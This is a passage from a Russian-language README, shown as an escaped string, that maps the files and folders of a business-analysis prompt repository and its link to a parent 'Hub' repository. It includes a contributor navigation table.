capability taxonomy, DoD. |\\n| `ai-rules/ai-quick-rules.md` | \u041e\u0434\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u0438\u0447\u043d\u0430\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0434\u043b\u044f AI-\u0430\u0433\u0435\u043d\u0442\u0430 (\u0432\u043a\u043b\u044e\u0447\u0430\u044f fail-closed semantics). |\\n| `ai-rules/AI_SESSION_HANDOVER_PROMPT.md` | \u0413\u043e\u0442\u043e\u0432\u044b\u0439 prompt \u0434\u043b\u044f Runtime-\u043e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433\u0430 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043c\u0435\u0436\u0434\u0443 \u0447\u0430\u0442\u0430\u043c\u0438 (full-\u0441\u043b\u043e\u0439). |\\n| `prompts/AI_SESSION_HANDOVER_PROMPT.executable.md` | Executable-\u0441\u043b\u043e\u0439 \u0442\u043e\u0433\u043e \u0436\u0435 prompt: \u0433\u0440\u0443\u0437\u0438\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u044b\u043c, full \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e escalation triggers. |\\n| `ai-rules/agent-onboarding-protocol.md` | \u0410\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u043e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433\u0430 \u0430\u0433\u0435\u043d\u0442\u0430 (v1.5, \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0425\u0430\u0431\u0430). |\\n| `CONTRIBUTING.md` | Workflow \u0432\u043a\u043b\u0430\u0434\u0430: issue \u2192 PR \u2192 review. |\\n| `CHANGELOG.md` | \u041f\u0430\u043c\u044f\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u0430: \u0436\u0443\u0440\u043d\u0430\u043b \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439. |\\n| `LICENSE` | \u041b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430 (MIT). |\\n| `pr-ops/artifact-map.md` | \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432, \u0441\u0432\u044f\u0437\u0435\u0439 \u0438 Smart Sync snapshot. |\\n| `pr-ops/BACKLOG.md` | \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0431\u044d\u043a\u043b\u043e\u0433 \u0438 \u0435\u0434\u0438\u043d\u044b\u0439 \u0442\u0440\u0435\u043a\u0435\u0440 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0430. |\\n| `pr-ops/session-digests.md` | \u0418\u043d\u0434\u0435\u043a\u0441 \u0441\u0443\u043c\u043c\u0430\u0440\u0438\u0439 \u0434\u043b\u0438\u043d\u043d\u044b\u0445 \u0441\u0435\u0441\u0441\u0438\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u043c\u0435\u0436\u0434\u0443 \u0447\u0430\u0442\u0430\u043c\u0438. |\\n| `.gitignore` | \u0418\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u0438 \u041e\u0421. |\\n| `.github/workflows/github-pages.yml` | \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044f \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0432 `gh-pages`. |\\n| `scripts/` | \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0431\u043e\u0440\u043a\u0443 JSON \u0434\u043b\u044f GitHub Pages. |\\n| `tools/` | \u0420\u0430\u0431\u043e\u0447\u0438\u0435 \u043a\u043e\u043f\u0438\u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u0432 \u0425\u0430\u0431\u0430 (`make validate`): frontmatter, \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u0435\u043b\u044c\u0442\u044b \u2014 [`tools/README.md`](tools/README.md). |\\n| `.archive/` | \u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0430\u0440\u0445\u0438\u0432 `superseded`-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432: \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u044e\u0442\u0441\u044f \u0440\u0430\u0434\u0438 traceability, \u0442\u043e\u0447\u043a\u0430\u043c\u0438 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f ([`.archive/README.md`](.archive/README.md)). |\\n| `.github/workflows/validate.yml` | CI: \u043f\u0440\u043e\u0433\u043e\u043d \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u043e\u0432 \u0425\u0430\u0431\u0430 \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439 PR \u0438 push \u0432 `main`. |\\n| `site/` | \u0421\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 SPA-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441: \u041a\u0430\u0442\u0430\u043b\u043e\u0433, \u0414\u0430\u0448\u0431\u043e\u0440\u0434, Roadmap, \u041f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 \u041f\u0430\u0442\u0442\u0435\u0440\u043d\u044b. |\\n| `patterns/` | \u041f\u0430\u0442\u0442\u0435\u0440\u043d\u044b \u0411\u0410: \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0437\u0430\u0434\u0430\u0447 (8 \u043f\u043e\u043b\u0435\u0439, [`standards/pattern-standard.md`](standards/pattern-standard.md)). |\\n| `prompts/` | \u0410\u043a\u0442\u0438\u0432\u043d\u044b\u0435 prompt assets \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 Mango. |\\n| `prompts/archive/` | \u0410\u0440\u0445\u0438\u0432\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b. |\\n| `runs/` | \u0415\u0434\u0438\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432: `runs/YYYY/RUN-XXXX/` \u0441 `metadata.yaml`, `inputs/`, `outputs/`, `feedback/`, `logs/`. |\\n| `standards/` | \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b \u043f\u0440\u043e\u0435\u043a\u0442\u0430: \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0438 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u0430. |\\n| `kb/` | \u041f\u0440\u0430\u043a\u0442\u0438\u043a\u0438, \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0438 \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a\u0438, \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0449\u0438\u0435\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430\u043c\u0438. |\\n| `docs/taxonomy.md` | \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f: 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 9 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410. |\\n| `docs/ba-ecosystem.md` | \u042d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0411\u0410: \u0433\u0440\u0430\u0444 \u0441\u0432\u044f\u0437\u0435\u0439, \u043c\u0430\u0442\u0440\u0438\u0446\u044b, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0430, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438 \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u043a \u0430\u0433\u0435\u043d\u0442\u0430\u043c. |\\n| `docs/rfc-hub-integration.md` | RFC: \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a \u0432 \u0425\u0430\u0431. |\\n| `docs/ba-processes/` | \u0418\u043d\u0434\u0435\u043a\u0441 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410 \u0438 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u044c\u043d\u044b\u0439 \u043c\u0430\u043f\u043f\u0438\u043d\u0433 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2194 \u043f\u0430\u0442\u0442\u0435\u0440\u043d \u2194 \u043f\u0440\u043e\u043c\u043f\u0442. |\\n| `docs/adr/` | Architecture Decision Records \u2014 \u00ab\u043f\u043e\u0447\u0435\u043c\u0443\u00bb, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u00ab\u0447\u0442\u043e\u00bb. |\\n| `docs/audit/` | \u0420\u0435\u0432\u0438\u0437\u0438\u0438, \u0430\u0443\u0434\u0438\u0442\u044b \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f. |\\n| `docs/analysis/` | RFC \u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0442\u0447\u0451\u0442\u044b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u0438 \u0438\u0437 \u0425\u0430\u0431\u0430). |\\n\\n`standards/` \u2014 \u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u043a\u043e\u043f\u0438\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432. Source of truth \u0434\u043b\u044f \u043e\u0431\u0449\u0438\u0445 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432\\n\u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0425\u0430\u0431\u0435; \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043a\u043e\u043f\u0438\u0438 \u2014 **\u043e\u0441\u043e\u0437\u043d\u0430\u043d\u043d\u043e\u0435** \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441\u043f\u043e\u043a\u0430\\n(\u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 [`CHANGELOG.md`](CHANGELOG.md)).\\n\\n| \u041f\u0443\u0442\u044c | \u0420\u043e\u043b\u044c |\\n| --- | --- |\\n| `standards/GLOSSARY.md` | \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u0432 (\u0440\u0430\u0431\u043e\u0447\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u043e\u0431\u0449\u0435\u0433\u043e \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u044f \u0425\u0430\u0431\u0430). |\\n| `standards/product-classification-contract.md` | \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 Mango: `Domain \u2192 Capability \u2192 Feature \u2192 Atomic Function`. \u042d\u0442\u043e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f, **\u043d\u0435** \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439. |\\n| `standards/prompt-standard.md` | \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u0430: 4 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u044f frontmatter, \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435, RAG-\u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043e\u043a. |\\n| `standards/pattern-standard.md` | \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u0430: 8 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0439, \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439 `prompt_template`. |\\n| `standards/ba-ontology.md` *(+ `artifact-naming`, `team-directory`, `kb`, `industry-standards`, `bcreq-process`, `pages-ux`)* | \u0424\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f \u0411\u0410 \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b (issue #97); \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b-\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u0438 \u2014 [ADR-003\u2026010](docs/adr/). |\\n\\n> \u2139\ufe0f \u041a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f **\u0442\u043e\u043b\u044c\u043a\u043e** \u043f\u043e\u0434 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u2014 \u0441\u043f\u043e\u043a \u043d\u0435 \u043d\u043e\u0441\u0438\u0442 \u0441\\n> \u0441\u043e\u0431\u043e\u0439 \u043f\u0443\u0441\u0442\u044b\u0445 \u00ab\u043e\u0440\u0433\u0430\u043d\u0435\u043b\u043b\u00bb (Anti-Inflation principle).\\n\\n## \ud83d\udd17 \u0421\u0432\u044f\u0437\u044c \u0441 \u0425\u0430\u0431\u043e\u043c \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043c\u043e\u0441\u0442\\n\\n\u0421\u043f\u043e\u043a **\u043d\u0435 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442** \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0425\u0430\u0431\u0430, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0434\u0440\u0435\u0439\u0444\u0430. \u0412\u0441\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438\\n\u043e\u0442 research-\u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0425\u0430\u0431\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 **\u043e\u0434\u043d\u043e\u043c** \u0444\u0430\u0439\u043b\u0435 \u2014\\n`docs/hub-research-dependencies.md`, \u2014 \u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0438\u0445 \u0447\u0435\u0440\u0435\u0437\\n`research_dep: docs/hub-research-dependencies.md#`.\\n\u042d\u0442\u043e **\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439** \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043c\u043e\u0441\u0442 \u043c\u0435\u0436\u0434\u0443 \u0441\u043f\u043e\u043a\u043e\u043c \u0438 \u0425\u0430\u0431\u043e\u043c; \u043f\u0440\u044f\u043c\u044b\u0445\\nhub-\u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a (`../../standards/...`, `../../research/...`) \u0432 \u0441\u043f\u043e\u043a\u0435\\n\u0431\u044b\u0442\u044c \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u043e.\\n\\n## \ud83e\udded \u041d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f \u0434\u043b\u044f \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430\\n\\n| \u041d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c | \u041a\u0443\u0434\u0430 \u0438\u0434\u0442\u0438 |\\n| --- | --- |\\n| \u0427\u0442\u043e \u0437\u0430 \u043f\u0440\u043e\u0435\u043a\u0442 \u0438 \u0437\u0430\u0447\u0435\u043c \u043e\u043d \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 | \u042d\u0442\u043e\u0442 `README.md` |\\n| \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410 | [`docs/taxonomy.md`](docs/taxonomy.md) |\\n| \u041a\u0430\u043a \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0448\u0430\u0431\u043b\u043e\u043d\u044b, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u044b | [`docs/ba-ecosystem.md`](docs/ba-ecosystem.md) |\\n| \u041a\u0430\u043a\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0431\u0440\u0430\u0442\u044c \u043f\u043e\u0434 \u043c\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 | [`docs/ba-processes/00-index.md`](docs/ba-processes/00-index.md) |\\n| \u041a\u0430\u043a \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 \u0425\u0430\u0431 \u0438 \u0432 `ai-ba-playbooks` | [`docs/rfc-hub-integration.md`](docs/rfc-hub-integration.md) |\\n| \u0420\u043e\u043b\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f | [`ai-governance/ai-governance.md`](ai-governance/ai-governance.md) |\\n| \u041f\u043e\u0447\u0435\u043c\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0430 | [`ai-governance/ai-governance.md`](ai-governance/ai-governance.md#\u043f\u0440\u0438\u043d\u0446\u0438\u043f-\u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e-\u0441\u0438\u0441\u0442\u0435\u043c\u044b-\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f--\u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c), [`docs/ba-ecosystem.md`](docs/ba-ecosystem.md) |\\n| \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a \u043f\u0440\u043e\u043c\u043f\u0442\u0443 / \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u0443 | [`standards/prompt-standard.md`](standards/prompt-standard.md), [`standards/pattern-standard.md`](standards/pattern-standard.md) |\\n| \u041e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f \u0411\u0410, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043d\u0435\u0439\u043c\u0438\u043d\u0433, KB, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, UX Pages | [`standards/ba-ontology.md`](standards/ba-ontology.md), [`docs/adr/`](docs/adr/) |\\n| \u041a\u0443\u0434\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 | [`pr-ops/BACKLOG.md`](pr-ops/BACKLOG.md#5-\u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435-\u0432\u043e\u043f\u0440\u043e\u0441\u044b) |\\n| \u041a\u0430\u043a \u0418\u0418 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u043e\u0433\u0430\u0442\u044c \u0438 \u0433\u0434\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u044b | [`ai-governance/ai-governance.md`](ai-governance/ai-governance.md) |\\n| \u041a\u0430\u043a \u0432\u043d\u043e\u0441\u0438\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f | [CONTRIBUTING.md](CONTRIBUTING.md) |\\n| \u0413\u0434\u0435 \u043f\u043e\u044f\u0432\u044f\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b \u0438 \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 | `standards/` |\\n| \u041f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0435\u043a\u0442 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0435\u0439 | \u0420\u0430\u0437\u0434\u0435\u043b [\u00ab\u0421\u0432\u044f\u0437\u044c \u0441 \u0425\u0430\u0431\u043e\u043c\u00bb](#-\u0441\u0432\u044f\u0437\u044c-\u0441-\u0445\u0430\u0431\u043e\u043c) |\\n| \u041a\u0430\u043a \u0432\u043d\u043e\u0441\u0438\u0442\u044c \u0432\u043a\u043b\u0430\u0434 (\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 workflow) | [`CONTRIBUTING.md`](CONTRIBUTING.md) |\\n| \u041a\u0430\u043a \u0418\u0418 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u043e\u0433\u0430\u0442\u044c \u0438 \u0433\u0434\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u044b | [`ai-governance/ai-governance.md`](ai-governance/ai-governance.md) |\\n| \u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0432\u044b\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0430\u0433\u0435\u043d\u0442\u0430 (fail-closed) | [`ai-rules/ai-quick-rules.md`](ai-rules/ai-quick-rules.md) |\\n| \u041a\u0430\u043a \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0418\u0418-\u0430\u0433\u0435\u043d\u0442\u0430 \u0432 \u043d\u043e\u0432\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 (\u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442) | [`ai-rules/AI_SESSION_HANDOVER_PROMPT.md`](ai-rules/AI_SESSION_HANDOVER_PROMPT.md) |\\n| \u041f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u043e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433\u0430 \u0430\u0433\u0435\u043d\u0442\u0430 (\u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u043f\u0435\u0440\u0435\u0434 \u0441\u0442\u0430\u0440\u0442\u043e\u043c), v1.5 | [`ai-rules/agent-onboarding-protocol.md`](ai-rules/agent-onboarding-protocol.md) |\\n| \u0410\u0440\u0445\u0438\u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433\u0430 v1.2 (superseded, \u0434\u043b\u044f traceability) | [`.archive/ai-rules/agent-onboarding-protocol_old.md`](.archive/ai-rules/agent-onboarding-protocol_old.md) |\\n| \u041f\u043e\u0447\u0435\u043c\u0443 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 `AI_*.md` \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 \u043a\u043e\u0440\u043d\u0435, \u0430 \u0430\u0440\u0445\u0438\u0432 \u0443\u0448\u0451\u043b \u0432 `.archive/` | [`docs/audit/2026-08-21-root-structure-audit.md`](docs/audit/2026-08-21-root-structure-audit.md) |\\n| \u041a\u0430\u0440\u0442\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0438 \u0441\u0432\u044f\u0437\u0435\u0439 | [`pr-ops/artifact-map.md`](pr-ops/artifact-map.md) |\\n| \u0421\u0443\u043c\u043c\u0430\u0440\u0438\u0438 \u0434\u043b\u0438\u043d\u043d\u044b\u0445 \u0441\u0435\u0441\u0441\u0438\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 | [`pr-ops/session-digests.md`](pr-ops/session-digests.md) |\\n| \u0416\u0443\u0440\u043d\u0430\u043b \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 | [`CHANGELOG.md`](CHANGELOG.md) |\\n| \u0421\u043d\u0438\u043c\u043e\u043a \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u0438 \u0438\u0437 \u0425\u0430\u0431\u0430 (\u0447\u0442\u043e \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u043e / \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c / \u0430\u0440\u0445\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043e) | [`pr-ops/migration-manifest.md`](pr-ops/migration-manifest.md) |\\n\\n## \ud83d\udc65 \u041a\u043e\u043d\u0442\u0430\u043a\u0442\u044b \u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435\\n\\n\u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0440\u043e\u043b\u0435\u0439 \u0438 \u043f\u0440\u0430\u0432\u043e \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u2014 